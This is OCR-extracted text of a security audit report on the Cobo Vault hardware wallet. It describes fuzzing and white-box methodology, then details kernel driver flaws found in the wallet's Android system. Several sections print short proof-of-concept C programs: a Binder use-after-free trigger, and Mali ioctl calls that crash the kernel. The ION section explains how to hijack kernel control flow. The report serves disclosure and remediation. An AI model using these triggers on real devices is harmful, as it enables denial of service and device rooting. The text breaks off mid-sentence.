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1 Introduction

Given the opportunity to review the Cobo Vault design document and related hardware wallet source
code, we in the report outline our systematic approach to evaluate potential security issues in the
App and Secure Element implementation, expose possible semantic inconsistencies between wallet
code and design document, and provide additional suggestions or recommendations for improvement.
Our results show that the given version of Cobo Vault can be further improved due to the presence

of several issues related to either security or performance. This document outlines our audit results.

1.1 About Cobo Vault

The Cobo Vault is among the safest hardware wallets available, thanks to its built-in secure element,
tamper-proof design, and extreme damage resistance. It's also intuitive to use, despite its security
protocols adding additional steps to the transaction signing process.

The basic information of Cobo Vault is as follows:

Table 1.1; Basic Information of Cobo Vault

Item Description

Issuer | Cobo
Website | https://cobo.com/hardware-wallet
Type | Hardware Wallet
Platform | C/Java/Type Script
Audit Method | Whitebox
Latest Audit Report | Jun. 24, 2020

In the following, we show the Git repository of reviewed files and the commit hash value used in

this audit:

e https://github.com/CoboVault/cobo-vault-cold (4d3ad8)

e https://github.com/CoboVault/cobo-vault-se-firmware (033a809)

5/52 PeckShield Audit Report #: 2020-09



Confidential

e cobo vault cold native.zip (72dd1e8dc0643740b4bedf6c5595f797bach3276)

e cobo mason app.zip (€81096b297339d863bcd13605f21ec952c64f98f)
e https://github.com/cobowallet/crypto-coin-kit (ade6d5a)

1.2 About PeckShield

PeckShield Inc. [33] is a leading blockchain security company with the goal of elevating the secu-
rity, privacy, and usability of current blockchain ecosystems by offering top-notch, industry-leading
services and products (including the service of smart contract auditing). We are reachable at Telegram
(https://t.me/peckshield), Twitter (http://twitter.com/peckshield), or Email (contact@peckshield.com).

Table 1.2: Vulnerability Severity Classification

High High
©
8 Medium
E

Low

Medium

Likelihood

1.3 Methodology

To standardize the evaluation, we define the following terminology based on OWASP Risk Rating
Methodology [32]:

e Likelihood represents how likely a particular vulnerability is to be uncovered and exploited in
the wild;

e Impact measures the technical loss and business damage of a successful attack;

e Severity demonstrates the overall criticality of the risk.

Likelihood and impact are categorized into three ratings: H, M and L, i.e., high, medium and
low respectively. Severity is determined by likelihood and impact and can be classified into four
categories accordingly, i.e., Critical, High, Medium, Low shown in Table 1.2.
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1.3.1 Fuzzing

In the first phase of our audit, we use fuzzing to find out possible corner cases or unusual inter-module
interactions that may not be covered by in-house testing.

Fuzzing or fuzz testing is an automated software testing technique of discovering software vulner-
abilities by providing unintended input to the target program and monitoring the unexpected results.
As one of the most effective methods for exploiting vulnerabilities, fuzzing technology has been the
first choice for many security researchers to discover vulnerabilities in recent years. At present, there
are many fuzzy testing tools and supporting software, which can help security personnels to complete
fuzzing and find vulnerabilities more efficiently. Based on the characteristics of the Cobo Vault, we
use AFL [8] and go-fuzz [4] as the primary tool for fuzz testing.

AFL (American Fuzzy Lop) is a security-oriented fuzzer that employs a novel type of compile-
time instrumentation and genetic algorithms to automatically discover clean, interesting test cases
that trigger new internal states in the targeted binary. Since its inception, AFL has gained growing
popularity in the industry and has proved its effectiveness in discovering quite a few significant
software bugs in a wide range of major software projects. The basic process of AFL fuzzing is as

follows:
e Generate compile-time instrumentation to record information such as code execution path;

e Construct some input files to join the input queue, and change input files according to different

strategies;

e Files that trigger a crash or timeout when executing an input file are logged for subsequent

analysis;
e Loop through the above process

Throughout the AFL testing, we will reproduce each crash based on the crash file generated by
AFL. For each reported crash case, we will further analyze the root cause and check whether it is
indeed a vulnerability. Once a crash case is confirmed as a vulnerability of the Cobo Vault, we will
further analyze it as part of the white-box audit.

go-fuzz is a fuzzing tool inspired by AFL, for code written in Go language. It's a coverage guided
fuzzing solution and mainly applicable to packages that parse complex inputs (both text and binary),
and is especially useful for hardening of systems that parse inputs from potentially malicious users

(e.g., anything accepted over a network).

1.3.2 White-box Audit

After fuzzing, we continue the white-box audit by manually analyzing source code. Here we test

target software’s internal structure, design, coding, and we focus on verifying the flow of input and
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output through the application as well as examining possible design and implementation trade-offs
for strengthened security. PeckShield auditors first fully review and understand the source code, then
we create specific test cases, execute them and analyze the results. Issues such as internal security
holes, unexpected output, broken or poorly structured paths, etc., in the targeted software will be

inspected.

e Data and state storage, which is related to the password and mnemonic where wallet data are

saved.
e Operating system. These are system-level, the wallet App base on Android system.
e Secure Element. The core security module of the hardware wallet.

e Others. Software modules not included above are checked here, such as common crypto or
other 3rd-party libraries, best practice or optimization used in other software projects, design

and coding consistency, etc.

Based on the above classification, here is the detailed list of the audited items as shown in Table
1.3.

To better describe each issue we identified, we also categorize the findings based on Common
Weakness Enumeration (CWE-699) [31], which is a community-developed list of software weakness
types to better classify and organize weaknesses around concepts frequently encountered in software

development. We use the CWE categories in Table 1.4 to classify our findings.

1.4 Disclaimer

Note that this audit does not give any warranties on finding all possible security issues of the given
hardware wallet software, i.e., the evaluation result does not guarantee the nonexistence of any further
findings of security issues. As one audit cannot be considered comprehensive, we always recommend
proceeding with several independent audits and a public bug bounty program to ensure the security

of wallet software. Last but not least, this security audit should not be used as an investment advice.
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Table 1.3: The Full List of Audited ltems

Category - Check Item

Data and State Storage

Mnemonic Security

Verify Security

Upgrade Operation

App Upgrade Security

Secure Element Upgrade Security

System Upgrade Security

Operating System

Check New Patch

Anti Root

Application

Business Logic

Interface Security

Transaction Privacy Security

Secure Element (SE)

Implementation Logic Security

Privilege Control Security

Storage Algorithm Security

Others

Third Party Library Security

Memory Leak Detection

Exception Handling

Log Security

Coding Suggestion And Optimization

Design Document And Code Implementation Uniformity
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Table 1.4: Common Weakness Enumeration (CWE) Classifications Used in This Audit

Category

Configuration

Summary

Weaknesses in this category are typically introduced during

the configuration of the software.

Data Processing Issues

Weaknesses in this category are typically found in functional-
ity that processes data.

Numeric Errors

Weaknesses in this category are related to improper calcula-
tion or conversion of numbers.

Security Features

Weaknesses in this category are concerned with topics like
authentication, access control, confidentiality, cryptography,
and privilege management. (Software security is not security
software.)

Time and State

Weaknesses in this category are related to the improper man-
agement of time and state in an environment that supports
simultaneous or near-simultaneous computation by multiple
systems, processes, or threads.

Error Conditions,
Return Values,
Status Codes

Weaknesses in this category include weaknesses that occur if
a function does not generate the correct return/status code,
or if the application does not handle all possible return/status
codes that could be generated by a function.

Resource Management

Weaknesses in this category are related to improper manage-
ment of system resources.

Behavioral Issues

Weaknesses in this category are related to unexpected behav-
iors from code that an application uses.

Business Logics

Weaknesses in this category identify some of the underlying
problems that commonly allow attackers to manipulate the
business logic of an application. Errors in business logic can
be devastating to an entire application.

Initialization and Cleanup

Weaknesses in this category occur in behaviors that are used
for initialization and breakdown.

Arguments and Parameters

Weaknesses in this category are related to improper use of
arguments or parameters within function calls.

Expression Issues

Weaknesses in this category are related to incorrectly written
expressions within code.

Coding Practices

Weaknesses in this category are related to coding practices
that are deemed unsafe and increase the chances that an ex-
ploitable vulnerability will be present in the application. They
may not directly introduce a vulnerability, but indicate the
product has not been carefully developed or maintained.
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2 Findings

2.1 Summary

Here is a summary of our findings after analyzing the Cobo Vault implementation. During the first
phase of our audit, we studied the wallet source code and ran our in-house static code analyzer
through the codebase. The purpose here is to statically identify known coding bugs, and then
manually verify (reject or confirm) issues reported by our tool. We further manually review the
business logic, examine system operations, and analyze the security issues of private key storage and

signature verification, and place aspects under scrutiny to uncover possible pitfalls and/or bugs.

Severity ‘ # of Findings
Critical 2| N

High 5 HAEENR

Medium 5 HAEEEN

Low 2| HE

Informational 5 HAEENR

Total 19

We have so far identified a list of potential issues: some of them involve subtle corner cases that
might not be previously thought of, such as the system security issue of the wallet, while others
refer to unusual interactions among App and secure element. For each uncovered issue, we have
therefore developed test cases for reasoning, reproduction, and/or verification. After further analysis
and internal discussion, we determined a few issues of varying severities need to be brought up and
paid more attention to, which are categorized in the above table. More information can be found in

the next subsection, and the detailed discussions of each of them are in Section 3.
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2.2 Key Findings

Overall, the Cobo Vault are well-designed and engineered, though the implementation can be im-

proved by resolving the identified issues (shown in Table 2.1), including 2 critical-severity vulnerability,

5 high-severity vulnerability, 5 medium-severity vulnerability, 2 low-severity vulnerabilities, and 5 in-

formational recommendations.

Table 2.1: Key Audit Findings
ID Severity Title Category  Status |

PVE-001 | Medium | Use-After-Free Loophole in ION Driver Coding Practices Resolved

PVE-002 | Critical | Use-After-Free Loophole in Binder Driver Coding Practices Resolved

PVE-003 | Medium | Denial-of-Service Loophole in Mali Driver Error Conditions Resolved

PVE-004 | Medium | Out-of-bounds Write in Secure Element Memory Buffer Resolved
Firmware

PVE-005 Info. Memory Buffer Size Overflow in TrustKernel Memory Buffer Resolved
TEE Driver

PVE-006 High Weak Fingerprint Verification Business Logic Resolved

PVE-007 High Weak Password Verification Business Logic Resolved

PVE-008 Info. Redundant API in Secure Element Coding Practices Resolved

PVE-009 High Risk of Mnemonic Theft in Application Layer Info. Mgmt Resolved

PVE-010 Low Risk of Mnemonic Theft in Secure Element Credentials Mgmt Confirmed

PVE-011 Low Possible Delete Mnemonics Directly in Secure | Business Logic Errors | Confirmed
Element

PVE-012 High Missing  Authentication before  Signing Business Logic Resolved
Transactions in Secure Element

PVE-013 High Missing Integrity Check on Secure Element Business Logic Resolved
Firmware

PVE-014 Info. Duplicate Code in Secure Element Coding Practices Resolved

PVE-015 | Medium | Arbitrary Memory Write in Secure Element Memory Buffer Resolved

PVE-016 Info. Denial-of-Service Loophole in perf event Concurrency Issues Resolved

PVE-017 Info. Denial-of-Service Loophole in Sound Driver Concurrency Issues Resolved

PVE-018 | Medium | Use of Out-of-range Pointer Offset in Secure Pointer Issues Resolved
Element

PVE-019 | Critical | Out-of-bounds Write in TrustKernel TEE Memory Buffer Resolved

Driver

Please refer to Section 3 for details.
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3

Detailed Results

3.1 Use-After-Free Loophole in ION Driver

e |ID: PVE-001 e Target: ion.c

e Severity: Medium e Category: Coding Practice [23]

o Likelihood: Low e CWE subcategory: CWE-416 [18]
e Impact: High

Description

This critical vulnerability has been identified and fixed in this commit [5]. Since /dev/ion is reach-

able on the target system, this use-after-free could be exploited to corrupt kernel space memory,

leading to local privilege escalation. The technical details about this loophole are elaborated as

follows.

In ion_ioctl(), the ION_IOC_MAP or ION_IOC_SHARE handler gets the ion_handle through

ion_handle_get_by_id() (Iine 1495). Later on, in line 1501, the handie is released by ion_handle_put ().

case ION I0C SHARE:
case ION_I0C MAP:

{

struct ion_ handle xhandle;

handle = ion_handle get by id(client, data.handle.handle);
if (IS_ERR(handle)) {
ret = PTR_ERR(handle);
IONMSG("ION_IOC_SHARE handle is invalid. handle = %d, ret = %d.\n", data.
handle.handle, ret);
return ret;
}
data.fd.fd = ion_share dma_ buf fd(client, handle);
ion handle put(handle);
if (data.fd.fd < 0) {
IONMSG("ION_IOC_SHARE fd = %d.\n", data.fd.fd);
ret = data.fd.fd;

¥
break;
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¥
Listing 3.1: ion.c

Since the ion_handle could be referenced by multiple parties, the ION driver utilizes the reference

count mechanism to make sure that the memory would only be released when the reference count is

decremented to 0. As shown in ion_handle_put(), ion_handle_put_nolock() is called with client->lock

held (Iine 357). Inside ion_handle_put_nolock(), handle->ref is kref_put()'ed and ion_handle_destroy

O is called when the reference count is 0.

static int ion_handle put nolock(struct ion_ handle xhandle)

{

int

{

int ret;
ret = kref put(&handle—>ref, ion_handle destroy);

return ret;

ion _handle put(struct ion_ handle xhandle)

struct ion client xclient = handle—>client;
int ret;

mutex lock(&client —>lock);
ret = ion_handle put nolock(handle);

mutex unlock(&client —>lock);

return ret;

Listing 3.2: ion.c

In the end of ion_handle_destroy(), the handle is released by kfree().

static void ion_ handle destroy(struct kref xkref)

{

struct ion_handle xhandle
struct ion_ client xclient = handle—>client;

struct ion buffer xbuffer handle—>buffer;

mutex lock(&buffer—>lock);
while (handle—>kmap_cnt)

ion _handle _kmap_put(handle);
mutex unlock(&buffer—>lock);

idr _remove(&client —>idr , handle—>id);
if (IRB_EMPTY NODE(&handle—>node))
rb_erase(&handle—>node, &client—>handles);

ion _buffer remove from handle(buffer);
ion buffer put(buffer);

container of(kref, struct ion_handle,

ref);
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handle—>buffer = NULL;
handle—>client = NULL;

kfree(handle);

Listing 3.3: ion.c

As described in the commit message, a bad actor can use two threads to trick the 10N_Toc_maP

handler to use the freed ion_handle due to the lacks of mutex lock mechanism.

— thread A: ION I0C ALLOC creates an ion handle with refcount 1

— thread A: starts ION IOC _MAP and increments the refcount to 2

— thread B: ION_I0C FREE decrements the refcount to 1

— thread B: ION _IOC FREE decrements the refcount to 0 and frees the

handle
— thread A: continues ION IOC MAP with a dangling ion_ handle * to
freed memory
If we look into the ion_buffer_put() function called by ion_handle_destroy(), we can see how
this loophole could be exploited to hijack the control flow inside Linux kernel. Since the ion_buffer
is also managed by the reference count mechanism, _ion_buffer_destroy() would be invoked when

buffer->ref == 0.

static int ion_ buffer put(struct ion_ buffer xbuffer)

{

return kref put(&buffer—>ref, ion_ buffer destroy);

¥
Listing 3.4: ion.c

By crafting the buffer->heap->flags, the attacker could simply get into ion_buffer_destroy() in
line 242.

static void _ion_buffer destroy(struct kref xkref)

{
struct ion_ buffer xbuffer = container of(kref, struct ion_ buffer, ref);
struct ion_ heap xheap = buffer—>heap;
struct ion device xdev = buffer—>dev;
mutex lock(&dev—>buffer lock);
rb_erase(&buffer—>node, &dev—>buffers);
mutex unlock(&dev—>buffer lock);
if (heap—>flags & ION HEAP FLAG DEFER FREE)
ion _heap freelist add(heap, buffer);
else
ion buffer destroy(buffer);
b

Listing 3.5: ion.c
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Here's the interesting part. Inside ion_buffer_destroy(), the unmap_kernel() function pointer is
called in line 221. It means if the attacker sprays the {struct ion_handle}-sized slabs successfully,
she can craft the handle->buffer with the handle->buffer->heap->ops->unmap_kernel pointing to the
shellcode, which leads to kernel control flow hijacking.

void ion_ buffer destroy(struct ion_ buffer xbuffer)

{
if (WARN ON(buffer—>kmap cnt > 0))
buffer —>heap—>ops—>unmap_kernel(buffer —>heap, buffer);

Listing 3.6: ion.c

struct ion_handle {
struct kref ref;
unsigned int user ref count;
struct ion client xclient;
struct ion buffer xbuffer;
struct rb_node node;
unsigned int kmap_ cnt;
int id;
struct ion handle debug dbg; /*add by K for debug */

Listing 3.7: drivers/staging/android/ion/ion priv.h

Fortunately, the target platform has only one CPU core activated which makes the window of
heap spraying really small. By the time writing the report, this vulnerability cannot be triggered
successfully such that we set the likelyhood as low.

Recommendation Apply the patch [5].

3.2 Use-After-Free Loophole in Binder Driver

e |D: PVE-002 e Target: binder.c
e Severity: Critical

e Likelihood: High

e Category: Coding Practice [23]

e CWE subcategory: CWE-416 [18]
e Impact: High

Description

This bug had been published by Project Zero as CVE-2019-2215 [9]. Since the binder driver is
reachable from /dev/hwbinder on the Cobo Vault Android system, this unpatched vulnerability, as
suggested by Project Zero's report, could be exploited to arbitrarily read /write kernel space memory,

leading to privilege escalation — rooting the device.
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As a short summary, the loophole is in the handler of releasing a binder thread which could be
triggered by the BINDER_THREAD_EXIT ioctl. The magic under the hood is that the BINDER_THREAD_EXIT
ioctl eventually reaches binder_thread_dec_tmpref () which calls binder_free_thread() when the thread
is dead and the reference count is 0 (line 1977 — 1979) without decoupling the binder thread from
the listed-list kept by epoll.

static void binder thread dec tmpref(struct binder thread xthread)

{
/*
* atomic is used to protect the counter value while
* it cannot reach zero or thread->is_dead is false
*/
binder inner proc lock(thread—>proc);
atomic_dec(&thread —>tmp _ref);
if (thread—>is dead && !atomic_read(&thread—>tmp ref)) {
binder inner proc_unlock(thread—>proc);
binder free thread(thread);
return;

¥

binder inner proc_unlock(thread—>proc);

Listing 3.8: binder.c

As shown in the following code snippets, the struct binder_thread * pointer is released with
kfree() in line 4466.

static void binder free thread(struct binder thread xthread)

{
BUG_ON(!list empty(&thread—>todo));
binder stats deleted (BINDER STAT THREAD) ;
binder proc _dec tmpref(thread—>proc);
put task struct(thread—>task);
kfree(thread);

}

Listing 3.9: binder.c

However, in the context of ep_remove_wait_queue(), the wait member (Iine 633) in the previously
released struct binder_thread is still referenced.

struct binder thread {
struct binder proc xproc;
struct rb node rb node;
struct list head waiting thread node;
int pid;
int looper; /* only modified by this thread */
bool looper need return; /x can be written by other thread x*/
struct binder transaction *transaction stack;
struct list head todo;
struct binder error return_error;
struct binder error reply error;
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633 wait_queue head t wait;
634 struct binder stats stats;
635 atomic_t tmp_ref;

636 bool is dead;

637 struct task struct stask;
638 };

Listing 3.10: binder.c

While performing EPOLL_CTL_DEL, ep_remove_wait_queue() calls remove_wait_queue() to remove the
binder thread from the list.

517 static void ep remove wait queue(struct eppoll entry =xpwq)

518 {

519 wait _queue head t *whead;

521 rcu_read lock();

522 /*

523 * If it is cleared by POLLFREE, it should be rcu-safe.
524 * If we read NULL we need a barrier paired with

525 * smp_store_release() in ep_poll_callback(), otherwise
526 * we rely on whead->lock.

527 */

528 whead = smp load acquire(&pwg—>whead);

529 if (whead)

530 remove wait queue(whead, &pwg—>wait);

531 rcu_read unlock();

532 }

Listing 3.11: fs/eventpoll.c

The freed wait_queue_head_t is used in remove_wait_queue() while |ocking the g->lock spinlock.

44 void remove wait queue(wait queue head t xq, wait queue t *wait)

45 {
46 unsigned long flags;
48 spin_lock irgsave(&q—>lock, flags);
49 ___remove_wait_queue(q, wait);
50 spin_unlock irqrestore(&q—>lock , flags);
51 3}
Listing 3.12:  kernel/sched/wait.c
Furthermore, __remove_wait_queue() corrupts the freed wait_queue_head_t by clobbering the 1ist_head
pointers.

142 static inline void

143  remove wait_queue(wait _queue head t xhead, wait_ queue t *old)
144 {

145 list del(&old—>task list);

146 1}

Listing 3.13: include/linux/wait.h
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This critical vulnerability could be exploited with the following attack code. The heap spray part
is not included here. Since the size of struct binder_thread is 400 on the target system, the bad
actor should spray the 448-bytes slabs right after the free operation (i.e., ioct1(BINDER_THREAD_EXIT
)) and perform the use operation (i.e., close(epfd) which is done automatically when the program
terminates) to clobber kernel space memory.

main ()

{
int fd, epfd;
struct epoll event event = { .events = EPOLLIN };
fd = open("/dev/hwbinder", O RDONLY) ;
epfd = epoll create(1000);
epoll ctl(epfd, EPOLL_CTL ADD, fd, &event);
ioctl (fd, BINDER THREAD EXIT, NULL);

return 0;

Listing 3.14: pwn.c

Recommendation Apply the patch for android-3.18 [2].

3.3 Denial-of-Service Loophole in Mali Driver

e |D: PVE-003 e Target: mali_pp_ job.c, mali_mem-
e Severity: Medium ory manager.c

e Likelihood: High e Category: Error Conditions [27]

e Impact: Low e CWE subcategory: CWE-617 [19]

Description

The Mali driver is the ARM GPU driver which is reachable through /dev/mali. Tons of ioctls are
available for various operations related to the gpu hardware. During our analysis, we identified
that some of the ioctls could be exploited to crash the Linux kernel, leading to a denial-of-service
vulnerability. Specifically, throughout the Mali driver codebase, MALI_DEBUG_ASSERT is used to validate
the conditions such as the value of pointers, the range of memory size, etc. However, as shown in the
following code snippets, the underlying function of MALI_DEBUG_ASSERT dumps the stack and crashes
the machine by dereferencing a NULL pointer.

#define MALI DEBUG ASSERT(condition) do {if( !(condition)) {MALI PRINT ERROR(("
ASSERT failed: " #condition )); mali_osk break();} } while(0)

Listing 3.15: mali_kernel common.h
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void _mali_osk abort(void)

{ /* make a simple fault by dereferencing a NULL pointer x/
dump stack();
x(int x)0 = 0;

}

void _mali_osk break(void)

{
_mali_osk abort();

}

Listing 3.16: mali _osk misc.c

It means an attacker could crash the machine if she finds a way to trigger a MALI_DEBUG_ASSERT call.
In the following, we identified multiple paths to the reachable MALI_DEBUG_ASSERT or MALI_DEBUG_ASSERT_POINTER
calls.

Case | As shown in the following code snippets, mali_pp_job_create() is invoked with an user-
level pointer uargs which is the third parameter of the ioct1 system call. In line 53, the content of
a user provided buffer pointed by uargs is copied into the kernel space buffer job->uargs which is
allocated by _mali_osk_calloc() (line 46), which makes it possible to craft the job->nargs.num_cores
for entering the error handler, intentionally, in line 59.

struct mali_pp job *mali_pp job create(struct mali_ session data *session,
~mali_uk pp_ start job s  user xuargs, u32 id)

{
struct mali_pp_ job xjob;
u32 perf counter flag;

job = mali_osk calloc(1, sizeof(struct mali_pp job));
if (NULL != job) {

_mali_osk list_init(&job—>list);
_mali_osk_list_init(&job—>session fb_ lookup list);
_mali_osk _atomic_inc(&session—>number of pp_jobs);

if (0 != mali osk copy from user(&job—>uargs, uargs, sizeof(
_mali_uk pp_start_job s))) {
goto fail;

}

if (job—>uargs.num cores > MALI PP_MAX SUB JOBS) {
MALI_PRINT ERROR(("Mali PP job: Too many sub jobs specified in job object\n"

)

goto fail;

Listing 3.17: mali_pp_job.c

The go fail statement leads to mali_pp_job_delete().

fail:
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if (NULL !'= job) {
mali_pp_ job delete(job);

by

return NULL;

Listing 3.18: mali_pp_ job.c

In the very beginning of mali_pp_job_delete(), job->list is validated to ensure that the linked-list
is not empty. However, as mentioned earlier, an attacker can intentionally creates an empty job->list

and triggers MALI_DEBUG_ASSERT() in line 149, which leads to _mali_osk_break().

void mali_ pp job delete(struct mali_ pp job *job)

{

struct mali_ session data *session;

MALI_DEBUG_ASSERT POINTER(job);
MALI_DEBUG_ASSERT( _mali_osk list _empty(&job—>list));

Listing 3.19: mali_pp_job.c

The so-called reachable assertion loophole could be triggered by the following attack code. As

you can see in line 15, the bad actor can simply set a large num_cores and use the ioct1 system call
to crash the machine.

main ()

{
int fd;
~mali_uk pp_ start job s x;

fd = open("/dev/mali", O RDONLY);

if (fd<o0) {
printf("[-]1 Failed to open device (%s)\n", strerror(errno));
goto out;

}

printf("[+] Device opened at %d\n", fd);

x.num _cores = Oxcafebabe;

ioctl(fd, MALI IOC PP START JOB, &x);
close out:

close (fd);

out:
return 0;

Listing 3.20: pwn.c
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Case Il There's another DoS loophole which is reachable through the MALI_10C_MEM_UNBIND
ioctl. As shown in the following code snippets, _mali_ukk_mem_unbind() is called with the args
pointer which points to a memory area controllable by possible attackers. In line 777, mali_addr
is set to args->vaddr which could be a crafted virtual address. Later on, the crafted mali_addr is
sent into mali_vma_offset_search() for searching the mali_vma_node in line 781. As an error handling
mechanism, MALI_DEBUG_ASSERT() is triggered in line 786 when mali_vma_node is NULL, this leads to the

NULL pointer dereference which crashes the system.

771  mali_osk_errcode t mali_ukk _mem unbind(_mali_uk unbind _mem_ s xargs)

772 {

773 /*%/

774 struct mali_ session data xsession = (struct mali_ session data *)(uintptr_ t)args—>
ctx;

775 mali_mem allocation *mali_ allocation = NULL;

776 struct mali_vma node *mali_vma node = NULL;

777 u32 mali_addr = args—>vaddr;

778 MALI_DEBUG_PRINT(5, (" _mali_ukk_mem_unbind, vaddr=0x%x! \n", args—>vaddr));

780 /* find the allocation by vaddr */

781 mali_vma node = mali_vma_ offset search(&session—>allocation mgr, mali_ addr, 0);

782 if (likely(mali_vma node)) {

783 MALI_DEBUG_ASSERT(mali _addr = mali_vma_node—>vm node.start);

784 mali_allocation = container_of(mali_vma_ node, struct mali_mem allocation,

mali_vma_ node);

785 } else {

786 MALI_DEBUG_ASSERT(NULL != mali_vma_node);

787 return _MALI_OSK ERR_INVALID ARGS;

788 }

Listing 3.21: mali_memory manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can

craft a random vaddr to fail the search for mali_vma_node and crashes the system intentionally.

1 main()

2 {

3 int fd;

4 _mali_uk unbind_mem s x;

6 fd = open("/dev/mali", O_RDONLY);

8 if (fd<o0) {

9 printf("[-] Failed to open device (%s)\n", strerror(errno));
10 goto out;

11 }

13 printf("[+] Device opened at %d\n", fd);
15 x.vaddr = Oxcafebabe;

17 ioctl (fd, MALI I0C_MEM_ UNBIND, &x);
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close out:

close(fd);
out:
return O0;
}
Listing 3.22: pwn.c
Case IlIl  There's yet another DoS loophole which is reachable through the maLI_10C_MEM_COw

ioctl. As shown in the following code snippets, _mali_ukk_mem_cow() is called with the args pointer
which points to a memory area controllable by possible attackers. In line 819, the crafted args->
target_handle is sent into mali_mem_backend_struct_search() for searching the target_backend. As an
error handling mechanism, MALI_DEBUG_ASSERT() is triggered in line 822 when target_backend is NULL,

this leads to the NULL pointer dereference which crashes the system.

language
_mali_osk errcode_t mali_ukk _mem cow(_ mali_uk cow mem s xargs)
{
_mali_osk errcode t ret = MALI OSK ERR FAULT;
mali_mem backend xtarget backend = NULL;
mali_mem backend #mem backend = NULL;
struct mali_vma node smali_vma node = NULL;
mali_mem allocation *mali_ allocation = NULL;
struct mali_session data *session = (struct mali_ session data *)(uintptr t)args—>
ctx;

/* Get the target backend for cow */
target backend = mali_mem backend struct search(session, args—>target handle);

if (NULL = target backend || 0 == target backend-—>size) {
MALI_DEBUG_ASSERT POINTER(target backend);
MALI DEBUG ASSERT(0 != target backend—>size);
return ret;

Listing 3.23: mali_memory manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can craft
a random target_handle to fail the search for target_backend and crashes the system intentionally.

main ()

{
int fd;

~mali_uk cow mem s x;
fd = open("/dev/mali", O_RDONLY);
if (fd<o0) {

printf("[-] Failed to open device (%s)\n", strerror(errno));
goto out;
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¥

printf("[+] Device opened at %d\n", fd);
x.target handle = Oxcafebabe;

ioctl (fd, MAL_IOC_ MEM COW, &x);

close out:
close(fd);
out:
return 0;

Listing 3.24: pwn.c

Case IV As shown in the following code snippets, _mali_ukk_mem_cow_modify_range() is called
with the args pointer which points to a memory area controllable by possible attackers. In line 945,
the crafted args->vaddr is sent into mali_mem_backend_struct_search() for searching the mem_backend.
As an error handling mechanism, MALI_DEBUG_ASSERT() is triggered in line 948 when mem_backend is
NULL, this leads to the NULL pointer dereference which crashes the system.

language

_mali_osk_errcode_t mali_ukk_mem cow_ modify range(_ mali_uk cow modify range s xargs)

{

_mali_osk errcode t ret = MALI OSK ERR FAULT;

mali_mem backend #mem backend = NULL;

struct mali_ session data *session = (struct mali_ session data x)(uintptr_ t)args—>
ctx;

MALI_DEBUG PRINT(4, (" _mali_ukk_mem_cow_modify_range called! \n"));
/* Get the backend that need to be modified. */
mem _backend = mali_ _mem backend struct search(session, args—>vaddr);

if (NULL = mem_backend || 0 = mem _backend—>size) {
MALI_DEBUG_ASSERT POINTER(mem backend);
MALI_DEBUG_ASSERT(0 != mem _backend—>size);

return ret;

Listing 3.25: mali_memory manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can
craft a random vaddr to fail the search for mem_backend and crashes the system intentionally.
main ()
{

int fd;

_mali_uk cow modify range s x;

fd = open("/dev/mali", O RDONLY);
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8 if (fd<o0) {

9 printf("[-] Failed to open device (%s)\n", strerror(errno));
10 goto out;

11 1

13 printf("[+] Device opened at %d\n", fd);

15 x.vaddr = Oxcafebabe;

17 ioctl (fd, MALI I0OC_ MEM COW MODIFY RANGE, &x);

19 close out:

20 close (fd);
21 out:

22 return 0;
23 }

Listing 3.26: pwn.c

Case V  As shown in the following code snippets, _mali_ukk_mem_resize is called with the args
pointer which points to a memory area controllable by possible attackers. In line 1006, the likely
crafted args->psize is validated to ensure that it is aligned to MALT_MMU_PAGE_SIZE. As an error handling
mechanism, MALI_DEBUG_ASSERT() is triggered when args->psize is not aligned to MALI_MMU_PAGE_SIZE,

this leads to the NULL pointer dereference which crashes the system.

997 mali_osk errcode t mali_ukk mem resize(_mali_uk mem resize s xargs)

998 {

999 mali_mem _backend xmem backend = NULL;

1000 ~mali_osk errcode t ret = MALI OSK ERR FAULT;

1002 struct mali_session data *session = (struct mali_session data *)(uintptr_ t)args—>
ctx;

1004 MALI DEBUG_ASSERT POINTER( session);

1005 MALI_DEBUG_PRINT(4, (" mali_mem_resize_memory called! \n"));

1006 MALI_DEBUG_ASSERT(0 = args—>psize % MALI_MMU_PAGE_SIZE);

Listing 3.27: mali_memory manager.c

The DoS loophole could be triggered by the following attack code. In line 15, a bad actor can

craft a random psize to fail the alignment check and crashes the system intentionally.

1 main()

2 {

3 int fd;

4 _mali_uk mem resize s x;

6 fd = open("/dev/mali", O_RDONLY);

8 if (fd<o0) {

9 printf("[-] Failed to open device (%s)\n", strerror(errno));

25/52 PeckShield Audit Report #: 2020-09



10
11

13

15

17

19
20
21
22
23

143

144
145
146

148
149
150

152

153
154
155
156

158
159
160
161
162

164
166

167
168

Confidential

goto out;

printf("[+] Device opened at %d\n", fd);
x.psize = 1337,
ioctl (fd, MALI_IOC_MEM RESIZE, &x);

close out:
close(fd);
out:
return 0;

Listing 3.28: pwn.c

Case VI As shown in the following code snippets, mali_soft_job_create allocates a new job in line
158 whenever it is called with an user controllable user_job. Later on, the newly allocated job is as-
signed an id which equals system->last_job_id++. As an error handling mechanism, MALI_DEBUG_ASSERT
O is triggered in line 182 when job->id reaches MALI_SOFT_JOB_INVALID_ID, this leads to the NULL
pointer dereference which crashes the system.

struct mali_soft job smali_ soft job create(struct mali_soft job system sksystem,
mali_soft job type type, u64 user job)

struct mali_soft job *job;
~mali_osk notification t xnotification = NULL;

MALI_DEBUG_ASSERT POINTER(system);
MALI DEBUG ASSERT ((MALI_SOFT JOB TYPE USER SIGNALED = type)
(MALI_SOFT JOB_ TYPE SELF SIGNALED — type));

notification = mali_osk notification create(_ MALI_NOTIFICATION SOFT_ ACTIVATED,
sizeof (_mali_uk soft job activated s));

if (unlikely (NULL = notification)) {
MALI_PRINT_ ERROR(("Mali Soft Job: failed to allocate notification"));
return NULL;

job = mali_osk malloc(sizeof (struct mali_soft job));

if (unlikely (NULL = job)) {
MALI_DEBUG_PRINT(2, ("Mali Soft Job: system alloc job failed. \n"));
return NULL;

mali_soft job system lock(system);
job—>system = system;

job—>id = system—>last job id+4+;
job—>state = MALI SOFT JOB STATE ALLOCATED;
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_mali_osk_list add(&(job—>system list), &(system—>jobs used));

job—>type = type;
job—>user job = user job;
job—>activated = MALI FALSE;

job—>activated notification = notification;

_mali_osk atomic_init(&job—>refcount, 1);

MALI_DEBUG_ASSERT (MALI_SOFT JOB_STATE ALLOCATED — job—>state);

MALI_DEBUG_ASSERT(system == job—>system);

MALI_DEBUG_ASSERT(MALI_SOFT_JOB_INVALID ID = job—>id);

Listing 3.29: mali_soft job.c

The DoS loophole could be triggered by the following attack code. As a bad actor, we can

